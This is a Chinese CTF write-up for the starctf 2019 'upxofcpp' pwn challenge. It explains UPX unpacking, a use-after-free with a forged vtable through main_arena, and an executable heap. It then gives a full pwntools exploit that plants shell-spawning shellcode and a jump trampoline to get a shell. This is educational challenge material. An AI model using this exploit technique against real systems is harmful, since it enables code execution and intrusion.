starctf_2019_upxofcpp

starctf_2019_upxofcpp

程序用了UPX殼保護,通過upx –d脫殼後,拿到IDA裏分析。

Delete以後沒有清空指針,存在UAF,但是無法double free,因爲程序中使用虛表調用,delete一次後,虛表對應位置已經被清空。因此第二次delete同一個chunk將進入else語句,進而崩潰。由於函數指針放在chunk裏,因此,我們可以僞虛表指針,再利用UAF來執行。由於使用的是upx加殼,脫殼後,顯示NX保護是關閉的,但是宿主是upx的殼,upx殼程序通過mmap映射出RWX的內存放置受保護的程序,因此,在這裏堆棧是可執行的,也可以通過gdb調試查看。因此,我們在堆里布置下shellcode。

我們先申請兩個堆釋放

add(2,0x20/4,[-1])

add(3,0x20/4,[-1])

 

delete(2)

delete(3)

接下來我們觸發malloc_cosolidate

add(4,0x100,[-1])

此時,2的fd僞造寫上了main_arena 88的地址

因此,main_arena_88被當成一個虛表

Main_arena_88+0x10處指向2的頭

Show功能取得正是vtable+0x10處的函數指針來執行

因此, Main_arena_88+0x10處的數據被當成一個函數指針,因此,我們只要利用堆的共用,在2的prev_size處佈置一條jmp $xxxx的指令,然後通過show(2)就可以執行這個jmp,跳到主shellcode裏。

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
sh = process('./starctf_2019_upxofcpp')
#sh = process('./upxofcpp')
#sh = remote('node3.buuoj.cn',28611)

def add(index,size,data):
   sh.sendlineafter('Your choice:','1')
   sh.sendlineafter('Index:',str(index))
   sh.sendlineafter('Size:',str(size))
   for x in data:
      if (x & 0x80000000 == 0x80000000) and x != -1:
         x -= 0x100000000
      sh.sendline(str(x))

def delete(index):
   sh.sendlineafter('Your choice:','2')
   sh.sendlineafter('index:',str(index))

def show(index):
   sh.sendlineafter('Your choice:','4')
   sh.sendlineafter('index:',str(index))

shellcode = asm(shellcraft.sh())
data = []
for x in range(0,len(shellcode),4):
   data.append(u32(shellcode[x:x+4]))
add(0,len(data),data)
add(1,0x18/4,[0,1,2,3,u32(asm('jmp $-0x70').ljust(4,'\x00')),-1])
add(2,0x20/4,[-1])
add(3,0x20/4,[-1])

delete(2)
delete(3)
add(4,0x100,[-1])
#getshell
show(2)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章